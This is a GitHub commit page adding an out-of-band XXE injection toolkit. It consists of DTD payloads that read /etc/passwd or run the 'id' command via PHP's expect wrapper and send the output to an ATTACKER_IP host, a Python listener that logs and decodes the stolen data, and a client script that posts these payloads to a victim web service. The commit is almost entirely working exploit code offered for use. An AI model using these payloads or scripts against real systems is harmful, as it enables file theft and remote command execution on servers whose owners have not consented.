Skip to content

Commit cfb96f2

Browse files
author
Munir Njiru
committed
oob xxe
OOB XXE
1 parent b2445b5 commit cfb96f2

File tree

8 files changed

+116
-0
lines changed

8 files changed

+116
-0
lines changed

oob_xxe/server/checkrce.dtd

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<!ENTITY % data SYSTEM "expect://id">
2+
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:8000/?%data;'>">

oob_xxe/server/dtd

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % all "<!ENTITY a SYSTEM '%s;%d;/r/'>">%all;

oob_xxe/server/getFile.dtd

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<!ENTITY % xxePayload SYSTEM "file:///etc/passwd">
2+
<!ENTITY % internal "<!ENTITY &#37; xxe SYSTEM 'http://ATTACKER_IP:8000/?file-content?%xxePayload;'>">

oob_xxe/server/getFileEncoded.dtd

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<!ENTITY % xxePayload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
2+
<!ENTITY % internal "<!ENTITY &#37; xxe SYSTEM 'http://ATTACKER_IP:8000/?file-content?%xxePayload;'>">

oob_xxe/server/rceEncoded.dtd

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<!ENTITY % xxePayload SYSTEM "php://filter/read=convert.base64-encode/resource=expect://id">
2+
<!ENTITY % internal "<!ENTITY &#37; xxe SYSTEM 'http://ATTACKER_IP:8000/?command-result?%xxePayload;'>">

oob_xxe/server/server.py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
#!/usr/bin/env python
2+
# Simply a replication of the Python SimpleHTTPServer but with added functionality to simply log requests
3+
__author__ = "Munir Njiru"
4+
__email__ = "munir@alien-within.com"
5+
__status__ = "Production"
6+
7+
import SimpleHTTPServer as xxeDTDServer
8+
import SocketServer
9+
import sys
10+
import base64
11+
12+
PORT = 8000
13+
14+
class xxeServerHandler(xxeDTDServer.SimpleHTTPRequestHandler):
15+
log_file = open('xxelog.txt', 'a')
16+
def log_message(self, format, *args):
17+
self.log_file.write("%s - - [%s] %s\n" %
18+
(self.client_address[0],
19+
self.log_date_time_string(),
20+
base64.b64decode(format%args)))
21+
22+
try:
23+
Handler = xxeServerHandler
24+
httpd = SocketServer.TCPServer(("", PORT), Handler)
25+
print "Starting XXE Server on port: ", PORT
26+
print 'Press ^C to shut down the web server'
27+
httpd.serve_forever()
28+
except:
29+
print '^C received, shutting down the web server'
30+
httpd.socket.close()

oob_xxe/server/xxelog.txt

Whitespace-only changes.

oob_xxe/xxe_client.py

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
#!/usr/bin/env python
2+
__author__ = "Munir Njiru"
3+
__email__ = "munir@alien-within.com"
4+
__status__ = "Production"
5+
6+
import requests as alienOOBXXERequestor
7+
import tldextract
8+
9+
print "#######################################\n"
10+
print "Simple Out of Band XXE Injection Tool.\nby Alienwithin\nVersion: 1.0\nWebsite: https://www.alien-within.com\n"
11+
print "#######################################\n\n"
12+
'''
13+
Basic Settings that should be changed below:
14+
- Endpoint to attack or webservice URL
15+
- IP and Port of python simple http server (i.e attacker's server to receive information) or XXE Server Component
16+
'''
17+
attacker_ip = "ATTACKER IP"
18+
attacker_port = "ATTACKER PORT"
19+
endpoint = "URL TO VICTIM WEBSERVICE e.g. http://target.com/webservice.php"
20+
fullURL=tldextract.extract(endpoint)
21+
targetHostname=fullURL.domain
22+
'''
23+
Basic Settings End
24+
25+
Ignore the below its basic Headers predefined
26+
'''
27+
28+
XXEHeaders = {
29+
'Host': targetHostname,
30+
'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
31+
'Accept-Encoding': 'gzip, deflate',
32+
'Accept-Language': 'en-us,en;q=0.5',
33+
'Cache-Control': 'no-cache',
34+
'Content-Type': 'text/xml',
35+
'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36',
36+
'X-HTTP-Method-Override': 'GET'
37+
}
38+
39+
'''
40+
From this section downwards we have the Four attack Types supported so far:
41+
- Pinging to see if we can force it to connect to our target server from the target
42+
- Retrieve File with no encoding
43+
- Retrieve file base64 encoded incase of borderline protection
44+
- Attempt RCE via the expect module if it is loaded (PHP only)
45+
'''
46+
attack_type = raw_input("What attack type would you like to execute?\n1. Simple Connect Back Request\n2. Attempt to Retrieve File (File Protocol)\n3. Attempt to retrieve file (Using PHP filter wrapper)\n4. Check Code execution using expect\n")
47+
48+
if attack_type=="1":
49+
print "Please ensure you have started python HTTP Server in another commandline tab; to do so run the command below:\npython -m SimpleHTTPServer\n\nAfter this is done please confirm that the IP address and port are configured in the script in the settings section.\n"
50+
check_complete=raw_input("Proceed with attack?\n1. Yes\n2. No\n")
51+
if check_complete == "1":
52+
connect_back = "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE r [<!ENTITY % s \"http://fakeurltoCloak\"><!ENTITY % d \"AliensLoveXXE.test\"><!ENTITY % dtd SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/dtd\"> %dtd;]><r>&a;</r>"
53+
testConnectBack = alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data={'name':connect_back})
54+
print testConnectBack.text
55+
else:
56+
print "User aborted the attack; script will now exit. "
57+
exit()
58+
59+
elif attack_type == "2":
60+
getFilePlain = "<!DOCTYPE fileexfiltration [<!ENTITY % get SYSTEM \"file:///etc/passwd\"><!ENTITY % dtd SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/getFile.dtd\" > %get%dtd;]>"
61+
testPlainFileRetrieve=alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data=getFilePlain)
62+
print testPlainFileRetrieve.text
63+
64+
elif attack_type == "3":
65+
getFileEncoded = "<!DOCTYPE root [ <!ENTITY % remote SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/getFileEncoded.dtd\"> %remote; %internal; %xxe; ]>"
66+
testEncodedFileRetrieve = alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data=getFileEncoded)
67+
print testEncodedFileRetrieve.text
68+
69+
elif attack_type == "4":
70+
checkRCE = "<!DOCTYPE root [ <!ENTITY % remote SYSTEM \"http://"+attacker_ip+":"+attacker_port+"/rceEncoded.dtd\"> %remote; %internal; %xxe; ]>"
71+
testRCE = alienOOBXXERequestor.post(endpoint,headers=XXEHeaders,data=checkRCE)
72+
print testRCE.text
73+
74+
else:
75+
print "I really don't know the attack type you are trying to run I will now exit"
76+
exit()
77+

0 commit comments

Comments
 (0)